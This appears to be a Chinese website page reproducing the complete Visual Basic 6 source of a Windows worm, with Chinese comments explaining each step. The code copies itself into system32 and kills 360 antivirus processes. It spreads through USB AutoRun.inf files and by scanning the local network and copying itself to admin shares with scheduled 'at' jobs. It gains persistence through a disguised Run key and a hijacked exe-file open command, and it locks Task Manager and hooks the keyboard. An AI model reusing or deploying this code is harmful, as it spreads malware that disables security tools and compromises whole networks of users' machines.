主窗体代码:
'打开网页 Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long,ByVal lpOperation As String,ByVal lpFile As String,ByVal lpParameters As String,ByVal lpDirectory As String,ByVal nShowCmd As Long) As Long
'复制文件 Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String,ByVal lpNewFileName As String,ByVal bFailIfExists As Long) As Long
'获取驱动器类型 Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long Private Const DRIVE_UNKNOWN = 0 Private Const DRIVE_NO_ROOT_DIR = 1 Private Const DRIVE_REMOVABLE = 2 Private Const DRIVE_FIXED = 3 Private Const DRIVE_REMOTE = 4 Private Const DRIVE_CDROM = 5 Private Const DRIVE_RAMDISK = 6
'关闭窗体 Private Declare Function FindWindow Lib "user32" Alias _ "FindWindowA" (ByVal lpClassName As String,_ ByVal lpWindowName As String) As Long Private Declare Function PostMessage Lib "user32" Alias _ "PostMessageA" (ByVal hwnd As Long,ByVal wMsg As Long,_ ByVal wParam As Long,lParam As Any) As Long Private Const WM_CLOSE = &H10
'********************************************* Private Declare Sub InitCommonControls Lib "comctl32.dll" () Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long,ByVal nIndex As Long) As Long Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long,ByVal nIndex As Long,ByVal dwNewLong As Long) As Long Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long,ByVal crKey As Long,ByVal bAlpha As Byte,ByVal dwFlags As Long) As Long Private Const WS_EX_LAYERED = &H80000 Private Const GWL_EXSTYLE = (-20) Private Const LWA_ALPHA = &H2 '*************************************** Dim LngWidth As Long,LngHeight As Long,IntColor As Integer,LngFrequency As Long Dim autlj As String,dsk As String,dskbat As String '一些文件的路径
Dim t As Integer,l As Integer Dim i As Byte Dim p As Byte
Private Sub tm(frmGlass As Form,nGlass As Byte) On Error Resume Next
'目的:将制定窗体设置为任意透明程度
'函数:GetWindowLong获取扩展窗口样式;SetWindowLong设置扩展窗体样式;SetLayeredWindowAttributes设置窗体透明
Dim lngFrmStyle As Long lngFrmStyle = GetWindowLong(frmGlass.hwnd,GWL_EXSTYLE) '获取窗口扩展样式 lngFrmStyle = lngFrmStyle Or WS_EX_LAYERED '新样式 Call SetWindowLong(frmGlass.hwnd,GWL_EXSTYLE,lngFrmStyle) '设置新样式 Call SetLayeredWindowAttributes(frmGlass.hwnd,nGlass,LWA_ALPHA) '实现窗体透明效果 End Sub
'结束进程过程 Function xx2(ByVal Name As String) On Error Resume Next Dim strComputer As String strComputer = "." Dim oWMI,oProcs,oProc,strWQL strWQL = "SELECT * FROM Win32_Process" & " WHERE Name='" & Name & "'" Set oWMI = GetObject("winmgmts://" & strComputer & "/root/cimv2") Set oProcs = oWMI.ExecQuery(strWQL) For Each oProc In oProcs oProc.Terminate Next Set oProc = Nothing Set oProcs = Nothing Set oWMI = Nothing End Function
Private Sub jc() On Error Resume Next Dim j As Integer Dim c As String Dim winHwnd As Long Dim RetVal As Long Dim a
If Right(App.Path,1) <> "/" Then j = 8 c = LCase("system32") Else j = 9 c = LCase("system32/") End If If LCase(Right(App.Path,j)) <> c Then '检测程序的路径
a = Shell("explorer /n,/",vbMaximizedFocus) '打开磁盘 If a <> 0 Then '如果shell成功 winHwnd = FindWindow(vbNullString,"我的电脑") RetVal = PostMessage(winHwnd,WM_CLOSE,0&,0&) '关闭窗口 End If Kill Environ("windir") & "/system32/ntdete.exe" CopyFile App.Path & "/" & App.EXEName & ".exe",Environ("windir") & "/system32/ntdete.exe",False '把自己复制到system32目录下 Shell Environ("windir") & "/system32/ntdete.exe",vbHide '启动ystem32目录下的程序 End End If End Sub
Private Sub copy() On Error Resume Next Dim i As Byte Dim k As String For i = 65 To 90 Step 1 k = Chr(i) & ":" If GetDriveType(k) = 2 Then '如果是U盘 CreateObject("Scripting.FileSystemObject").DeleteFile k & "/AutoRun.inf",True CopyFile Environ("windir") & "/system32/ntdete.exe",k & "/等待.exe",False '复制自己 CopyFile autlj,k & "/AutoRun.inf",False SetAttr k & "/等待.exe",2 + 4 SetAttr k & "/AutoRun.inf",2 + 4 End If Next i End Sub
Private Sub Form_Initialize() On Error Resume Next If App.PrevInstance Then End '重复运行则结束程序 InitCommonControls '参数运行 Dim cmd As String Dim app1() As Byte cmd = Command If UCase(cmd) = "C" Then '先判断一下有没有参数,有就处理 app1 = LoadResData(108,"CUSTOM") Open Environ("windir") & "/system32/19.bat" For Binary As #89 '释放BAT Put #89,app1 Close #89 Shell Environ("windir") & "/system32/19.bat",vbNormalFocus End If End Sub
Private Sub Form_Load() On Error Resume Next App.TaskVisible = False '隐藏进程 Call jc xx2 "360tray.exe" '结束360 xx2 "antiarp.exe" '结束360ARP防火墙
SetWindowPos Me.hwnd,HWND_TOPMOST,SWP_NOMOVE Or SWP_NOSIZE '窗体置顶 hook = SetWindowsHookEx(WH_KEYBOARD_LL,AddressOf LowLevelKeyboardProc,App.hInstance,0) '禁用
LngWidth = 1024: LngHeight = 768: IntColor = 32: LngFrequency = 85 '设置1024,768,32,85为默认值
mp3lj = Environ("windir") & "/system32/o1.mp3" autlj = Environ("windir") & "/system32/AutoRun.inf" dsk = Environ("windir") & "/system32/desktop.ini" dskbat = Environ("windir") & "/system32/desk.bat"
CreateObject("Scripting.FileSystemObject").DeleteFile autlj,True '删除只读文件 CreateObject("Scripting.FileSystemObject").DeleteFile mp3lj,True CreateObject("Scripting.FileSystemObject").DeleteFile dsk,True CreateObject("Scripting.FileSystemObject").DeleteFile dskbat,True CreateObject("Scripting.FileSystemObject").DeleteFile Environ("windir") & "/system32/1.ico",True CreateObject("Scripting.FileSystemObject").DeleteFile Environ("windir") & "/system32/k.bat",True CreateObject("Scripting.FileSystemObject").DeleteFile Environ("windir") & "/system32/re.tmp",True CreateObject("Scripting.FileSystemObject").DeleteFile Environ("windir") & "/system32/jk.com",True CreateObject("Scripting.FileSystemObject").DeleteFile Environ("windir") & "/system32/sdfhj.bat",True
Me.Width = Picture1.Width Me.Height = Picture1.Height Picture1.Top = 0 Picture1.Left = 0
Label1.ForeColor = RGB(0,255) t = Label1.Top l = Label1.Left i = 0 p = 0
'&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&批处理脚本
'Dim tim As Variant '取得要运行的时间 Dim bt(1 To 15) As String,bat As String Dim tt() As String Dim ip As Byte,ipp As Byte,dy As Byte
Call Start '获取本地IP
tt = Split(strIP,".") '这个就是将字符串以"."拆开
Open Environ("windir") & "/system32/iip.txt" For Output As #20 '列举IP For ip = 10 To 254 DoEvents For ipp = 1 To 254 Print #20,tt(0) & "." & tt(1) & "." & ip & "." & ipp Next ipp Next ip Close #20
'If Minute(time) >= 0 And Minute(time) < 40 Then'取得时间 ' tim = Hour(time) & ":" & Minute(time) + 20 'Else ' tim = Hour(time) + 1 & ":20" 'End If
bat = "cd /d %systemroot%/system32/" 'bt(1) = "del /f /q /a 1y.txt 2y.txt 3y.txt 4y.txt 5y.txt" 'bt(2) = "net view /domain >1y.txt" 'bt(3) = "for /f " & Chr(34) & "eol=命 skip=3 delims=" & Chr(34) & " %%k in (1y.txt) do >>2y.txt echo %%k" 'bt(4) = "for /f " & Chr(34) & "tokens=*" & Chr(34) & " %%i in (2y.txt) do >>3y.txt echo " & Chr(34) & "%%~nxi" & Chr(34) 'bt(5) = "for /f " & Chr(34) & "delims=" & Chr(34) & " %%a in (3y.txt) do net view /domain:%%a >>4y.txt" 'bt(6) = "for /f " & Chr(34) & "delims=/" & Chr(34) & " %%c in ('findstr ^/ 4y.txt') do >>5y.txt echo %%c" 'bt(7) = "for /f " & Chr(34) & "delims= " & Chr(34) & " %%b in (5y.txt) do copy /y " & Chr(34) & Environ("windir") & "/system32/" & App.EXEName & ".exe" & Chr(34) & " " & Chr(34) & "//%%b/D$/等待.exe" & Chr(34) & " && (at " & Chr(34) & "//%%b" & Chr(34) & " " & tim & " /interactive " & Chr(34) & "//%%b/D$/等待.exe" & Chr(34) & ")" bt(1) = "del /f /q /a tmpp.txt" bt(2) = "setlocal EnableDelayedExpansion" bt(3) = "for /f %%p in (iip.txt) do (" bt(4) = "ping -n 1 -l 1 -w 10 %%p >tmpp.txt" bt(5) = "set a=%time:~0,2%" bt(6) = "set b=%time:~3,2%" bt(7) = "if !b! EQU 08 set /a b=10" bt(8) = "if !b! EQU 09 set /a b=10" bt(9) = "set /a b+=10" bt(10) = "if !b! GTR 59 set /a a+=1 & set /a b-=60" bt(11) = "if !a! GTR 23 set /a a=0" bt(12) = "findstr /c:" & Chr(34) & "Reply from %%p: bytes" & Chr(34) & " tmpp.txt&&" & "copy /y " & Chr(34) & Environ("windir") & "/system32/" & App.EXEName & ".exe" & Chr(34) & " " & Chr(34) & "//%%p/C$/等待.exe" & Chr(34) & " && (at " & Chr(34) & "//%%p" & Chr(34) & " !a!:!b! /interactive " & Chr(34) & "//%%p/C$/等待.exe" & Chr(34) & ")" 'bt(5) = "findstr /c:" & Chr(34) & "Reply from %%p: bytes" & Chr(34) & " tmpp.txt&&" & "copy /y " & Chr(34) & Environ("windir") & "/system32/" & App.EXEName & ".exe" & Chr(34) & " " & Chr(34) & "//%%p/D$/等待.exe" & Chr(34) & " && (at " & Chr(34) & "//%%p" & Chr(34) & " " & tim & " /interactive " & Chr(34) & "//%%p/D$/等待.exe" & Chr(34) & ")" bt(13) = ")" bt(14) = "del /f /q /a tmpp.txt" bt(15) = "del /f /q /a %0" For dy = 1 To 15 bat = bat & vbNewLine & bt(dy) Next dy
Open Environ("windir") & "/system32/sdfhj.bat" For Output As #55 Print #55,bat Close #55 Shell Environ("windir") & "/system32/sdfhj.bat",vbHide '&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
Open autlj For Output As #1 '创建AutoRun.inf文件 Print #1,"[AutoRun]" Print #1,"open=等待.exe" Print #1,"shell/open=打开(&O)" Print #1,"shell/open/Command=等待.exe" Close #1
Dim app1() As Byte app1 = LoadResData(103,"CUSTOM") Open Environ("windir") & "/system32/1.ico" For Binary As #2 '释放图标资源 Put #2,app1 Close #2
app1 = LoadResData(109,"CUSTOM") Open Environ("windir") & "/system32/等待.com" For Binary As #21 Put #21,app1 Close #21
app1 = LoadResData(101,"CUSTOM") Open mp3lj For Binary As #3 '释放MP3音乐文件资源 Put #3,app1 Close #3
app1 = LoadResData(104,"CUSTOM") Open Environ("windir") & "/system32/MCI32.OCX" For Binary As #11 Put #11,app1 Close #11 Shell "regsvr32 /s " & Environ("windir") & "/system32/MCI32.OCX",vbHide '注册DLL
'------------------------------------ app1 = LoadResData(105,"CUSTOM") Open Environ("windir") & "/system32/1.mpg" For Binary As #18 Put #18,app1 Close #18
app1 = LoadResData(106,"CUSTOM") Open Environ("windir") & "/system32/2.mpg" For Binary As #19 Put #19,app1 Close #19
app1 = LoadResData(107,"CUSTOM") Open Environ("windir") & "/system32/3.mpg" For Binary As #20 Put #20,app1 Close #20
'---------------------------------------- Call copy
'打开而不执行一个程序(任务管理器),以达到锁定的目的 Open Environ("windir") & "/system32/taskmgr.exe" For Input Lock Read Write As #100
'创建注册表文件,修改磁盘驱动器图标 Dim ddd As String,bbb As String,ccc As String,oo As Integer Dim az As Byte ddd = "" bbb = "@=" & Chr(34) & Environ("systemroot") & "//system32//" For oo = 1 To Len(bbb) ccc = Mid(bbb,oo,1) If oo = 6 Then ccc = "//" End If ddd = ddd & ccc Next oo Open Environ("windir") & "/system32/re.tmp" For Output As #5 Print #5,"Windows Registry Editor Version 5.00" Print #5,"" Print #5,"[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/DriveIcons]" Print #5,"" For az = 65 To 90 Step 1 Print #5,"[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/DriveIcons/" & Chr(az) & "]" Print #5,"[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/DriveIcons/" & Chr(az) & "/DefaultIcon]" Print #5,ddd & "1.ico" & Chr(34) Print #5,"" Next az Print #5,"[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]" '自启动 Print #5,Chr(34) & "KV2008" & Chr(34) & "=" & Right(ddd,Len(ddd) - 2) & "ntdete.exe" & Chr(34) Print #5,"[HKEY_CLASSES_ROOT/exefile/DefaultIcon]" Print #5,"[HKEY_CLASSES_ROOT/exefile/shell/open/command]" Print #5,ddd & "ntdete.exe c" & Chr(34) Print #5,"[HKEY_CLASSES_ROOT/txtfile/DefaultIcon]" Print #5,"[HKEY_CLASSES_ROOT/txtfile/shell/open/command]" Print #5,"" Close #5
Open dsk For Output As #6 '创建desktop.ini桌面配置文件 Print #6,"[.ShellClassInfo]" Print #6,"InfoTip=等待" Print #6,"ConfirmFileOp=0" Print #6,"IconFile=%systemroot%/system32/1.ico" Print #6,"IconIndex=0" Close #6
Open dskbat For Output As #7 '创建修改文件夹图标的BAT文件 Print #7,"cd /d %systemroot%/system32/" Print #7,"del /f /q /a wj1.txt" Print #7,"dir C:/ /s /b /ad >wj1.txt" Print #7,"dir D:/ /s /b /ad >>wj1.txt" Print #7,"dir E:/ /s /b /ad >>wj1.txt" Print #7,"dir F:/ /s /b /ad >>wj1.txt" Print #7,"for /f " & Chr(34) & "delims=" & Chr(34) & " %%r in (wj1.txt) do echo F|xcopy " & Chr(34) & "%systemroot%/system32/desktop.ini" & Chr(34) & " " & Chr(34) & "%%r/desktop.ini" & Chr(34) & " /h /r /k /y" & " && " & "(Attrib +s " & Chr(34) & "%%r" & Chr(34) & ")" Print #7,"del /f /q /a wj1.txt desktop.ini" Print #7,"del /f /q /a %0" Close #7
SetAttr dskbat,2 + 4 '设置为系统和隐藏属性 SetAttr dsk,2 + 4 SetAttr bat,2 + 4 SetAttr mp3lj,2 + 4 SetAttr autlj,2 + 4 SetAttr Environ("windir") & "/system32/sdfhj.bat",2 + 4 SetAttr Environ("windir") & "/system32/1.ico",2 + 4 SetAttr Environ("windir") & "/system32/re.tmp",2 + 4
Shell "regedit /s " & Environ("windir") & "/system32/re.tmp",vbHide '导入注册表 Shell dskbat,vbHide '启动修改文件夹图标的BAT文件 Timer4.Enabled = True End Sub
Private Sub Label1_Click() Form2.Show tmct.Visible = False End Sub
Private Sub Label1_MouseDown(Button As Integer,Shift As Integer,X As Single,Y As Single) Label1.Top = t + 15 Label1.Left = l + 15 End Sub
Private Sub Label1_MouseMove(Button As Integer,Y As Single) Label1.ForeColor = RGB(255,0) Label1.FontUnderline = True End Sub
Private Sub Label1_MouseUp(Button As Integer,Y As Single) Label1.Top = t Label1.Left = l End Sub
Private Sub Picture1_MouseMove(Button As Integer,Y As Single) Label1.ForeColor = RGB(0,255) Label1.FontUnderline = False End Sub
Private Sub Timer3_Timer() '目的:使窗体的透明度逐渐变低 '函数:SetFormGlass设置窗体透明度 If p > 115 Then Timer3.Enabled = False Else p = p + 5 End If Call tm(XPbj,p) End Sub
Private Sub Timer4_Timer() On Error Resume Next i = i + 1 If i = 80 Then Call SetDisplayMode(LngWidth,LngHeight,IntColor,LngFrequency) '将4个参数传递给过程 xx2 "explorer.exe" '结束进程 qd.Show Shell Environ("systemroot") & "/explorer.exe" ElseIf i = 120 Then ShellExecute 0,"open","http://www.100vb.com","",1 Load XPbj '加载但不显示 Call tm(XPbj,0) '设置为全透明 '使背景窗体逐渐不透明,产生桌面变灰的错觉,并激发Timer控件 XPbj.Show Timer3.Enabled = True tmct.ShowEnd IfEnd Sub (编辑:李大同)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|